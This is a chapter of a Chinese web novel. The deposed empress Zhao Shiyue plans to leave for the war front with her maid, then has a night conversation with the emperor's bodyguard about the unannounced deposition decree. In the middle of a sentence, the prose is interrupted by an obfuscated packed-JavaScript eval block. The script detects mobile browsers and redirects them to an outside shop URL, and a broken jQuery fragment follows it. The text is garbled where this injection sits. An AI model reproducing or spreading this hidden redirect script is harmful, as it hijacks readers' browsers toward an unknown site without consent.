流衣皱眉:“小姐可是铁了心要去?”
赵十越回味着红豆糕的清甜,漫不经心道:“废后诏书只在我处。顾铮并未昭告天下。我身为大庆皇后,决不能眼睁睁看着自己的子民身陷战火却无所作为。”
“那,奴婢与小姐同去?”
“不行,前线战事瞬息万变,难免危险傍身。你就待在永州,同曼音和巧巧一起,好好过日子。”
流衣急得扯住赵十越的袖子,一下红了眼:“小姐,自奴婢八岁那年在街边被兄长明码标价当作商品售卖,您慷慨解囊买下奴婢后,这十几年来我俩从未分别过。您怎能忍心抛下奴婢?”
“流衣,此去归期难定。我将你视作姐妹,绝不能让你身陷战火。”
流衣抹抹泪,据理力争:“奴婢对您之心亦是!我若明知您此去吉凶难测,却只躲在这尾玉轩内苟且偷生,我又如何对得起老爷和夫人当日的托付?”
赵十越见她哭得厉害,心下轻叹口气,轻拥住她:“好了好了,别哭了。我就是怕惹你伤心,才打算悄悄离开。你若执意要陪我去,那便去好了。我也怕你独自一人留于永州,又被你那不成器的兄长缠上。”
流衣闻言,一把抹掉眼泪,展露笑颜。
“真的吗?小姐?您真愿意带我去?”
赵十越看她又哭又笑的样子,无奈道:“不过有一点可要先讲好,若是发生危险,你必须,先走。”
流衣一愣,立马拍胸脯保证:“小姐放心吧,我可贪生怕死了,绝对逃跑第一名。我们是否即刻动身?”
赵十越摇摇头:“既然被你发现,那便不急了。我们先收拾着行囊,明日一早再出发也不迟。前些日子,我让你置办的房产可都安排妥当了?”
“小姐,放心,皆已精心装饰,置办完毕。小姐今夜可要同孙小姐她们道别?”
“暂不多言,以免惹人担心。留封信说我回云落村了便罢。”
“小姐说得是。”
是夜,赵十越又独自爬上了邀月亭,初春的风虽不似冬日刺骨,但也吹动了鬓边发。
她趴在栏杆上往下望,看遍永州城万家灯火。
发丝飘扬,遮住眼前美景三分,她突然觉得好没意思,心下轻叹口气,说道:“出来吧。”
邀月亭上看去就她一人,静得只能听见鸟鸣三两。等了半晌,也没见旁人现身,赵十越坐正了些,轻抿一口手中的桂花酿,又再重复道:“我既已发现了你,再藏又有何用?”
话音刚落,只见黑暗中不知何时迅速显出一个身影,单膝跪在赵十越腿边:“属下参见娘娘。”
赵十越实在无语,一把拉起影子,蹙眉道:“还唤娘娘?你不知道我是废后?”
影子嬉皮笑脸道:“这不没昭告天下吗?属下自然不知。”
赵十越一手撑着头,失笑道:“顾铮废了我,可自从他走的那日起,又一直派你跟在我身边。怎么?莫不是怕我同虞青玉暗中联系?”
赵十越的话太过直白,倒一下把影子噎得无话可说。
陛下临行前怎么跟他说来着,一要护娘娘周全;二要注意虞青玉是否同娘娘尚有往来。
如此细细想来,娘娘说得好像也没错。
影子在心里肯定了自己的判断后,拱拱手,竖起大拇指称赞道:“娘娘真是冰雪聪明,蕙质兰心。属下佩服不已。”
“你……”赵十越心里的火腾地往上冒,可影子的夸赞又实在真心实意,她恶狠狠地瞪了半天后,只得作罢,没好气地问:“这两月的暗中观察,你也该发现了。我可没做何叛国之事,你赶紧走吧。”
“是,日后若有人污蔑娘娘,属下定力证娘娘清白。其实无需娘娘驱赶属下,属下也要离开了。”
赵十越扬扬眉:“顾铮召你了?”
“这倒没有,是属下自己想违抗圣令,前往空山城。”
“空山城?”
“是,空山城位于嘉越与大辉交界处,乃我国战略要地,前方战事不明,属下心系陛下。”
“哦。那你一路好走。”赵十越漫不经心地应了一声,又转头去看永州城绚烂的夜景,好似根本不在意一般,“对了,劳烦你帮我把宫里的九霄环佩琴送去……”
影子凑近听了听地址,应了下来,见她这般没心肺的模样,总觉得自己该说点什么来挽回下破碎的帝后情。
“娘娘,您和陛下,不该走到这一步的。”
赵十越抬眸,今日天气不太好,夜晚漆黑一片,看不见一颗明星。
“再怎么不该,如今也是落得这般相互怨怼之景,是我对不起他在先。”
影子的嘴张了又张,急得脑门都出了汗,此刻才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698750|208054||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
真正羡慕起白齐的敏锐心思来,他可真是看不懂眼色。
“属下也不是说如今这一步不好,说不定你们还能和好呢……”
赵十越没应话,只轻飘飘睨了影子一眼。
影子就算再榆木疙瘩,如今面对赵十越看傻瓜一样的眼神,心下也明白一二。无奈之下只得轻叹口气,叮嘱道:“娘娘,属下一去便不能再暗中护着您。上次离宫时,属下所赠之寒星,您可得随身带着。”
赵十越点点头:“我知道。当日静远堂之变,我怕被搜身,有意拿出来了。”
影子歪头想了想,又补充道:“对了,废后诏书并未昭告天下。”
“嗯。陛下日理万机,怕是忘了这事,我不会打着皇后的旗号去招摇撞骗的,大人放心。”
影子哭笑不得:“哪里是这个意思呀,郡主!陛下是想给您自由,又怕您日后遇到什么难处,需要用到“皇后”这个身份。因此,才未公开此旨意。”
赵十越猛地抬头,满是疑惑地眨眨眼,似是不解。
“意思是,陛下给予您绝对的选择权,您想是皇后,便尊荣天下;您想是废后,便做天边自由之凤。”
赵十越并没有表现出影子想象中的惊喜,而是咬咬下唇,一双狐狸眼浮现隐隐愠怒:“他既不再爱我,实在不必做这些多余动作来回拉扯。我赵十越最讨厌这不清不楚的关系。断就断得干干净净才好,他又偏要做出恋恋不舍之态,是想我一辈子都困在原地?”
影子连连摆手,急忙否认:“陛下怎会不爱您?若当真不爱,便不会在战火将燃的关键时刻,命我长伴您身侧。他还反复叮嘱,说您在宫里三年毫发无伤,如今在外面更是不能少了一根头发丝。他……”
“等等。”赵十越出言打断,腾地起身,一把抓住他的左肩。因太过震惊,指尖无意识地收紧:“他说我在宫里,毫发无伤?”
影子不明就里地点点头:“对,难道不是吗?您这三年虽住得是冷宫,但吃穿用度全是上乘。身子也是让宫里最好的太医将养着,怎么不是毫发无伤?”
“毫发无伤……毫发无伤……”赵十越不自觉地重复几遍,膝盖处又传来熟悉的痛感。
疼痛令人清醒。
会不会,当初小叶子传话出了什么纰漏,阴差阳错地,顾铮根本不知晓熙妃折辱自己一事?